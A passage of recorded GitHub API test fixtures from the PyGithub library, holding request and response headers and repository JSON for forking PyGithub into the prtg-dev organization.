('X-RateLimit-Reset', '1574899126'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E2F5:3ECF:1DE67F:229B58:5DDEFFFC')] {"id":224531141,"node_id":"MDEwOlJlcG9zaXRvcnkyMjQ1MzExNDE=","name":"PyGithub","full_name":"prtg-dev/PyGithub","private":false,"owner":{"login":"prtg-dev","id":54651306,"node_id":"MDEyOk9yZ2FuaXphdGlvbjU0NjUxMzA2","avatar_url":"https://avatars1.githubusercontent.com/u/54651306?v=4","gravatar_id":"","url":"https://api.github.com/users/prtg-dev","html_url":"https://github.com/prtg-dev","followers_url":"https://api.github.com/users/prtg-dev/followers","following_url":"https://api.github.com/users/prtg-dev/following{/other_user}","gists_url":"https://api.github.com/users/prtg-dev/gists{/gist_id}","starred_url":"https://api.github.com/users/prtg-dev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prtg-dev/subscriptions","organizations_url":"https://api.github.com/users/prtg-dev/orgs","repos_url":"https://api.github.com/users/prtg-dev/repos","events_url":"https://api.github.com/users/prtg-dev/events{/privacy}","received_events_url":"https://api.github.com/users/prtg-dev/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/prtg-dev/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/prtg-dev/PyGithub","forks_url":"https://api.github.com/repos/prtg-dev/PyGithub/forks","keys_url":"https://api.github.com/repos/prtg-dev/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/prtg-dev/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/prtg-dev/PyGithub/teams","hooks_url":"https://api.github.com/repos/prtg-dev/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/prtg-dev/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/prtg-dev/PyGithub/events","assignees_url":"https://api.github.com/repos/prtg-dev/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/prtg-dev/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/prtg-dev/PyGithub/tags","blobs_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/prtg-dev/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/prtg-dev/PyGithub/languages","stargazers_url":"https://api.github.com/repos/prtg-dev/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/prtg-dev/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/prtg-dev/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/prtg-dev/PyGithub/subscription","commits_url":"https://api.github.com/repos/prtg-dev/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/prtg-dev/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/prtg-dev/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/prtg-dev/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/prtg-dev/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/prtg-dev/PyGithub/merges","archive_url":"https://api.github.com/repos/prtg-dev/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/prtg-dev/PyGithub/downloads","issues_url":"https://api.github.com/repos/prtg-dev/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/prtg-dev/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/prtg-dev/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/prtg-dev/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/prtg-dev/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/prtg-dev/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/prtg-dev/PyGithub/deployments","created_at":"2019-11-27T23:00:12Z","updated_at":"2019-11-26T22:54:53Z","pushed_at":"2019-11-27T22:40:33Z","git_url":"git://github.com/prtg-dev/PyGithub.git","ssh_url":"git@github.com:prtg-dev/PyGithub.git","clone_url":"https://github.com/prtg-dev/PyGithub.git","svn_url":"https://github.com/prtg-dev/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12092,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"organization":{"login":"prtg-dev","id":54651306,"node_id":"MDEyOk9yZ2FuaXphdGlvbjU0NjUxMzA2","avatar_url":"https://avatars1.githubusercontent.com/u/54651306?v=4","gravatar_id":"","url":"https://api.github.com/users/prtg-dev","html_url":"https://github.com/prtg-dev","followers_url":"https://api.github.com/users/prtg-dev/followers","following_url":"https://api.github.com/users/prtg-dev/following{/other_user}","gists_url":"https://api.github.com/users/prtg-dev/gists{/gist_id}","starred_url":"https://api.github.com/users/prtg-dev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prtg-dev/subscriptions","organizations_url":"https://api.github.com/users/prtg-dev/orgs","repos_url":"https://api.github.com/users/prtg-dev/repos","events_url":"https://api.github.com/users/prtg-dev/events{/privacy}","received_events_url":"https://api.github.com/users/prtg-dev/received_events","type":"Organization","site_admin":false},"parent":{"id":178836424,"node_id":"MDEwOlJlcG9zaXRvcnkxNzg4MzY0MjQ=","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"jacquev6","id":47873678,"node_id":"MDQ6VXNlcjQ3ODczNjc4","avatar_url":"https://avatars1.githubusercontent.com/u/47873678?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2019-04-01T10:06:27Z","updated_at":"2019-11-26T22:54:53Z","pushed_at":"2019-11-27T22:40:33Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12092,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-11-27T19:00:09Z","pushed_at":"2019-11-27T22:40:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12220,"stargazers_count":3016,"watchers_count":3016,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1001,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":57,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1001,"open_issues":57,"watchers":3016,"default_branch":"master"},"network_count":1001,"subscribers_count":0} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateForkOrg.txt0000644000175100001660000004413314756101563024477 0ustar00runnerdockerhttps GET api.github.com None /orgs/prtg-dev {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('content-length', '928'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('date', 'Sat, 26 May 2012 20:23:33 GMT'), ('content-type', 'application/json; charset=utf-8')] {"login":"prtg-dev","id":54651306,"node_id":"MDEyOk9yZ2FuaXphdGlvbjU0NjUxMzA2","avatar_url":"https://avatars1.githubusercontent.com/u/54651306?v=4","gravatar_id":"","url":"https://api.github.com/users/prtg-dev","html_url":"https://github.com/prtg-dev","followers_url":"https://api.github.com/users/prtg-dev/followers","following_url":"https://api.github.com/users/prtg-dev/following{/other_user}","gists_url":"https://api.github.com/users/prtg-dev/gists{/gist_id}","starred_url":"https://api.github.com/users/prtg-dev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prtg-dev/subscriptions","organizations_url":"https://api.github.com/users/prtg-dev/orgs","repos_url":"https://api.github.com/users/prtg-dev/repos","events_url":"https://api.github.com/users/prtg-dev/events{/privacy}","received_events_url":"https://api.github.com/users/prtg-dev/received_events","type":"Organization","site_admin":false} https POST api.github.com None /repos/PyGithub/PyGithub/forks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"organization": "prtg-dev"} 202 [('Date', 'Wed, 27 Nov 2019 23:00:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '16034'), ('Server', 'GitHub.com'), ('Status', '202 Accepted'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4932'), ('X-RateLimit-Reset', '1574899126'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E2F5:3ECF:1DE67F:229B58:5DDEFFFC')] {"id":224531141,"node_id":"MDEwOlJlcG9zaXRvcnkyMjQ1MzExNDE=","name":"PyGithub","full_name":"prtg-dev/PyGithub","private":false,"owner":{"login":"prtg-dev","id":54651306,"node_id":"MDEyOk9yZ2FuaXphdGlvbjU0NjUxMzA2","avatar_url":"https://avatars1.githubusercontent.com/u/54651306?v=4","gravatar_id":"","url":"https://api.github.com/users/prtg-dev","html_url":"https://github.com/prtg-dev","followers_url":"https://api.github.com/users/prtg-dev/followers","following_url":"https://api.github.com/users/prtg-dev/following{/other_user}","gists_url":"https://api.github.com/users/prtg-dev/gists{/gist_id}","starred_url":"https://api.github.com/users/prtg-dev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prtg-dev/subscriptions","organizations_url":"https://api.github.com/users/prtg-dev/orgs","repos_url":"https://api.github.com/users/prtg-dev/repos","events_url":"https://api.github.com/users/prtg-dev/events{/privacy}","received_events_url":"https://api.github.com/users/prtg-dev/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/prtg-dev/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/prtg-dev/PyGithub","forks_url":"https://api.github.com/repos/prtg-dev/PyGithub/forks","keys_url":"https://api.github.com/repos/prtg-dev/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/prtg-dev/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/prtg-dev/PyGithub/teams","hooks_url":"https://api.github.com/repos/prtg-dev/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/prtg-dev/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/prtg-dev/PyGithub/events","assignees_url":"https://api.github.com/repos/prtg-dev/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/prtg-dev/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/prtg-dev/PyGithub/tags","blobs_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/prtg-dev/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/prtg-dev/PyGithub/languages","stargazers_url":"https://api.github.com/repos/prtg-dev/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/prtg-dev/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/prtg-dev/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/prtg-dev/PyGithub/subscription","commits_url":"https://api.github.com/repos/prtg-dev/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/prtg-dev/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/prtg-dev/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/prtg-dev/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/prtg-dev/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/prtg-dev/PyGithub/merges","archive_url":"https://api.github.com/repos/prtg-dev/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/prtg-dev/PyGithub/downloads","issues_url":"https://api.github.com/repos/prtg-dev/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/prtg-dev/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/prtg-dev/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/prtg-dev/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/prtg-dev/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/prtg-dev/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/prtg-dev/PyGithub/deployments","created_at":"2019-11-27T23:00:12Z","updated_at":"2019-11-26T22:54:53Z","pushed_at":"2019-11-27T22:40:33Z","git_url":"git://github.com/prtg-dev/PyGithub.git","ssh_url":"git@github.com:prtg-dev/PyGithub.git","clone_url":"https://github.com/prtg-dev/PyGithub.git","svn_url":"https://github.com/prtg-dev/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12092,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"organization":{"login":"prtg-dev","id":54651306,"node_id":"MDEyOk9yZ2FuaXphdGlvbjU0NjUxMzA2","avatar_url":"https://avatars1.githubusercontent.com/u/54651306?v=4","gravatar_id":"","url":"https://api.github.com/users/prtg-dev","html_url":"https://github.com/prtg-dev","followers_url":"https://api.github.com/users/prtg-dev/followers","following_url":"https://api.github.com/users/prtg-dev/following{/other_user}","gists_url":"https://api.github.com/users/prtg-dev/gists{/gist_id}","starred_url":"https://api.github.com/users/prtg-dev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prtg-dev/subscriptions","organizations_url":"https://api.github.com/users/prtg-dev/orgs","repos_url":"https://api.github.com/users/prtg-dev/repos","events_url":"https://api.github.com/users/prtg-dev/events{/privacy}","received_events_url":"https://api.github.com/users/prtg-dev/received_events","type":"Organization","site_admin":false},"parent":{"id":178836424,"node_id":"MDEwOlJlcG9zaXRvcnkxNzg4MzY0MjQ=","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"jacquev6","id":47873678,"node_id":"MDQ6VXNlcjQ3ODczNjc4","avatar_url":"https://avatars1.githubusercontent.com/u/47873678?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2019-04-01T10:06:27Z","updated_at":"2019-11-26T22:54:53Z","pushed_at":"2019-11-27T22:40:33Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12092,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub 